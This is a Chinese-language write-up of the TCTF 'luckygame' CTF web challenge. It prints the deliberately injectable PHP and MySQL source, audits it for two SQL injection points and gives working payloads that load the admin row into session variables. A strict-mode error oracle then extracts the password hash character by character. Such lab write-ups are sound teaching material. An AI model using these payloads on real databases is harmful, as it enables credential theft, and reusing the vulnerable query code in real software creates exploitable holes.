这题单独拿出来是因为个人感觉这是清真的Web题中质量最高的,也记录一下防止忘记
luckygame
<?php session_start(); ?>
<!DOCTYPE html>
<html>
<head>
<title>Lucky Game</title>
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Raleway:200">
<link href="https://fonts.googleapis.com/css?family=Noto+Sans" rel="stylesheet">
<link rel="stylesheet" href="https://unpkg.com/purecss@0.6.2/build/pure-min.css" integrity="sha384-UQiGfs9ICog+LwheBSRCt1o5cbyKIHbwjWscjemyBMT9YCUMZffs6UqUTd0hObXD" crossorigin="anonymous">
<link rel="stylesheet" href="https://purecss.io/combo/1.18.13?/css/main-grid.css&/css/main.css&/css/menus.css&/css/rainbow/baby-blue.css">
<style>
.header{font-family: 'Noto Sans', sans-serif;}
.header h1{color: rgb(202, 60, 60);}
.button-error {background: rgb(202, 60, 60);}
.button-success {background: rgb(28, 184, 65);}
</style>
</head>
<body>
<div id="layout">
<div id="menu">
<div class="pure-menu">
<a class="pure-menu-heading" href="#">TCTF</a>
</div>
</div>
<div id="main">
<div class="header">
<h1>幸运数字</h1>
<h2>Shall we play a "lucky" game?</h2>
</div>
<div class="content">
<?php
require 'config.php';
if (!$link=mysqli_connect('localhost', MYSQL_USER, MYSQL_PASS)) die('Connection error');
if (!mysqli_select_db($link,'luckygame')) die('Database error');
$tbls = "SELECT group_concat(table_name SEPARATOR '|') FROM information_schema.tables WHERE table_schema=database()";
$cols = "SELECT group_concat(column_name SEPARATOR '|') FROM information_schema.columns WHERE table_schema=database()";
$query = mysqli_query($link,$tbls,MYSQLI_USE_RESULT);
$tbls_name = mysqli_fetch_array($query)[0];
mysqli_free_result($query);
$query = mysqli_query($link,$cols,MYSQLI_USE_RESULT);
$cols_name = mysqli_fetch_array($query)[0];
mysqli_free_result($query);
# CREATE TABLE users(id int NOT NULL AUTO_INCREMENT,username varchar(24),password varchar(32),points int,UNIQUE KEY(username),PRIMARY KEY(id));
# INSERT INTO users VALUES(1,"admin",md5(password_of_admin),10);
# CREATE TABLE logs(id int NOT NULL,log varchar(64));
foreach($_POST as $k => $v){
if(!empty($v) && is_string($v))
$_POST[$k] = trim(mysqli_escape_string($link,$v));
else
unset($_POST[$k]);
}
foreach($_GET as $k => $v){
if(!empty($v) && is_string($v))
$_GET[$k] = trim(mysqli_escape_string($link,$v));
else
unset($_GET[$k]);
}
function filter($s){
global $tbls_name,$cols_name;
$blacklist = "sleep|benchmark|order|limit|exp|extract|xml|floor|rand|count|".$tbls_name.'|'.$cols_name; # Ninjas need nothing
if(preg_match("/{$blacklist}/is",$s,$a)) die($blacklist."\n".$a[0]."\n".$s."\n"."<aside>0ops!</aside>");
return $s;
}
function register($username,$password){
global $link;
$q = sprintf("INSERT INTO users VALUES (NULL,'%s',md5('%s'),10)",
filter($username),filter($password));
if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
return TRUE;
}
function login($username,$password){
global $link;
$q = sprintf("SELECT * FROM users WHERE username = '%s' AND password = md5('%s')",
filter($username),filter($password));
if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
$result = mysqli_fetch_array($query);
mysqli_free_result($query);
if(count($result)>0){
$_SESSION['id'] = $result['id'];
$_SESSION['user'] = $result['username'];
return TRUE;
} else {
unset($_SESSION['id'],$_SESSION['user']);
return FALSE;
}
}
function user_log($s){
global $link;
$q = sprintf("INSERT INTO logs VALUES (id+1,'%s')",
filter($_SESSION['id'].'|'.$s));
if(!$query = mysqli_query($link,$q)) return FALSE;
return TRUE;
}
function update_point($p){
global $link;
$q = sprintf("UPDATE users SET points=points+%d WHERE id = %d",
$p,$_SESSION['id']);
if(!$query = mysqli_query($link,$q)) return FALSE;
if(!user_log("Update ".$p)) return FALSE;
return TRUE;
}
function my_point(){
global $link;
$q = sprintf("SELECT * FROM users WHERE username = '%s'",
filter($_SESSION['user']));
if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
$result = mysqli_fetch_array($query);
mysqli_free_result($query);
return (int)($result['points']);
}
switch(@$_GET['action']){
case 'register':
if(!empty($_POST['user']) && !empty($_POST['pass']))
if(!register($_POST['user'],$_POST['pass']))
die("<aside>Something went wrong!</aside>");
break;
case 'login':
if(!empty($_POST['user']) && !empty($_POST['pass']))
login($_POST['user'],$_POST['pass']);
break;
case 'logout':
unset($_SESSION['user'],$_SESSION['id']);
break;
default:
break;
}
if(empty($_SESSION['user'])){
echo <<<EOF
<form action="?action=register" method=POST class="pure-form pure-form-stacked">
<fieldset>
<input type=text name=user required placeholder="Username" />
<input type=password name=pass required placeholder="Password" />
<button type="submit" class="pure-button pure-button-primary">Register</button>
</fieldset>
</form>
<form action="?action=login" method=POST class="pure-form pure-form-stacked">
<fieldset>
<input type=text name=user required placeholder="Username" />
<input type=password name=pass required placeholder="Password" />
<button type="submit" class="pure-button pure-button-primary button-success">Login</button>
</fieldset>
</form>
EOF;
die();
}
$points = my_point();
if($points == 1337){
user_log('winner');
echo "<h3>Well played, we will give you a reward soon.</h3>";
}
echo <<<EOF
<h1>Hello <a href='?action=logout'>{$_SESSION['user']}</a></h1>
<h2>You got {$points} points</h2>
<form method=GET class="grid-panel pure-form-aligned pure-form">
<div class="bet-control pure-control-group">
<label for="bet-input">
Your bet
</label>
<input name="bet" id="bet-input" data-content="bet-input"
type="number" min="0" max="16" value=1>
</div>
<div class="guess-control pure-control-group">
<label for="guess-input">
Your guess
</label>
<input name="guess" id="guess-input" data-content='guess-input'
type="number" min="0" value=1>
</div>
<button type="submit" class="pure-button pure-button-primary button-error">Place</button>
</form>
EOF;
if(!empty($_REQUEST['bet']) && (int)$_REQUEST['bet'] > 0 && !empty($_REQUEST['guess']) && (int)$_REQUEST['guess'] > 0){
echo "<aside>";
if($_REQUEST['bet'] > $points) die("What?! you're cheater!");
$number = rand()%8;
echo "It is...<h1 style='color:#fff'>".$number."</h2><br />";
if( $number == $_REQUEST['guess'] ){
echo "You won!";
if(!update_point($_REQUEST['bet']))
return;
} else {
echo "You lost :(";
if(!update_point(-$_REQUEST['bet']))
return;
}
echo "</aside>";
}
mysqli_close($link);
?>
</div>
</div>
</div>
</body>
</html>
这段代码一共存在两个漏洞,都是注入的洞
全局过滤看似写的天衣无缝
foreach($_POST as $k => $v){
if(!empty($v) && is_string($v))
$_POST[$k] = trim(mysqli_escape_string($link,$v));
else
unset($_POST[$k]);
}
foreach($_GET as $k => $v){
if(!empty($v) && is_string($v))
$_GET[$k] = trim(mysqli_escape_string($link,$v));
else
unset($_GET[$k]);
}
但是仔细追踪便会发现在登陆后会运行一个my_point()的函数对得分进行查询
function my_point(){
global $link;
$q = sprintf("SELECT * FROM users WHERE username = '%s'",
filter($_SESSION['user']));
if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
$result = mysqli_fetch_array($query);
mysqli_free_result($query);
return (int)($result['points']);
}
函数中的数据库查询所用的$username
来自$_Session['user']
因此很容易发现在这里存在二次注入
但是
CREATE TABLE users(id int NOT NULL AUTO_INCREMENT,username varchar(24),password varchar(32),points int,UNIQUE KEY(username),PRIMARY KEY(id))
用户名长度限制了24
因此直接通过用户名二次注入的构想就不成立了。
同时再次审计发现
if(!empty($_REQUEST['bet']) && (int)$_REQUEST['bet'] > 0 && !empty($_REQUEST['guess']) && (int)$_REQUEST['guess'] > 0){
echo "<aside>";
if($_REQUEST['bet'] > $points) die("What?! you're cheater!");
$number = rand()%8;
echo "It is...<h1 style='color:#fff'>".$number."</h2><br />";
if( $number == $_REQUEST['guess'] ){
echo "You won!";
if(!update_point($_REQUEST['bet']))
return;
} else {
echo "You lost :(";
if(!update_point(-$_REQUEST['bet']))
return;
}
echo "</aside>";
这里的bet
参数和guess
参数是通过REQUEST来接收参数的,因此不会被全局过滤所过滤,跟一下到update_point()
发现Update_points对参数进行了强制类型转换
$q = sprintf("UPDATE users SET points=points+%d WHERE id = %d",$p,$_SESSION['id']);
因此不存在注入,继续追参数bet
发现在user_log()
中bet
参数是拼接到Update |
,没有做类型转换,因此存在注入!
但是作为一个萌新关注点肯定在第二个注入上,然后就发掘各种新姿势去注入。
然后就发现了一些奇奇怪怪的报错注入,这里安利一下
MySQL Injection in Update, Insert and Delete
但是因为没办法绕过字段名和表名的限制,这里也就不成立了。
然后就没有然后了,赛后问小m要了payload,然后参考官方的payload再仔细跟一边流程,就出来了。
小m的payload;
admin' into @a,@b,@c,@d#
guess=1&bet=1e-1000' in (concat('123',1/(substr(@b,1,1)='a'))))#
官方payload:
admin' into @a,@b,@c,@d#
guess=1&bet=1e-1111'),(if(locate('a',@c,1)=1,'a',2),'')#
此处根据官方payload来解析
select * from users where username='admin' into @a,@b,@c,@d#
因此可以将admin的所有字段注入到@a,@b,@c,@d四个变量中,然后在通过查询变量的值去注入,以此绕过对于字段和表名的过滤
官方给的提示中有几个版本信息,发现其mysql版本是5.7.18
root@:~# mysql -V
mysql Ver 14.14 Distrib 5.7.18, for Linux(x86_64)using EditLine wrapper
因为mysql 5.7以后默认开启了SQL_MODE
为严格模式,也就是在此版本以前的一些查询操作会直接报错,比如:数据超过字段长度限制,或者int字段插入字符。因此可以利用这个特性去注入
insert into logs values(id,'1e-1111'),(if(locate('a',@c,1)=1,'a',2),'')#
如果@c变量(即password)的第一个值为a则在第一个字段中插入'a'也就会报错
跟一遍报错的操作
function user_log($s){
global $link;
$q = sprintf("INSERT INTO logs VALUES (id+1,'%s')",
filter($_SESSION['id'].'|'.$s));
if(!$query = mysqli_query($link,$q)) return FALSE;
return TRUE;
}
至
function update_point($p){
global $link;
$q = sprintf("UPDATE users SET points=points+%d WHERE id = %d",
$p,$_SESSION['id']);
if(!$query = mysqli_query($link,$q)) return FALSE;
if(!user_log("Update ".$p)) return FALSE;
return TRUE;
}
至
if(!empty($_REQUEST['bet']) && (int)$_REQUEST['bet'] > 0 && !empty($_REQUEST['guess']) && (int)$_REQUEST['guess'] > 0){
echo "<aside>";
if($_REQUEST['bet'] > $points) die("What?! you're cheater!");
$number = rand()%8;
echo "It is...<h1 style='color:#fff'>".$number."</h2><br />";
if( $number == $_REQUEST['guess'] ){
echo "You won!";
if(!update_point($_REQUEST['bet']))
return;
} else {
echo "You lost :(";
if(!update_point(-$_REQUEST['bet']))
return;
}
echo "</aside>";
}
mysqli_close($link);
?>
发现出错的话直接return了也就不会输出最后的</aside>
如果@c变量(即password)的第一个值不为a则在第一个字段中插入2也就不会报错
随后输出</aside>
依此来判断是否注入成功
接下来就是写脚本了 :)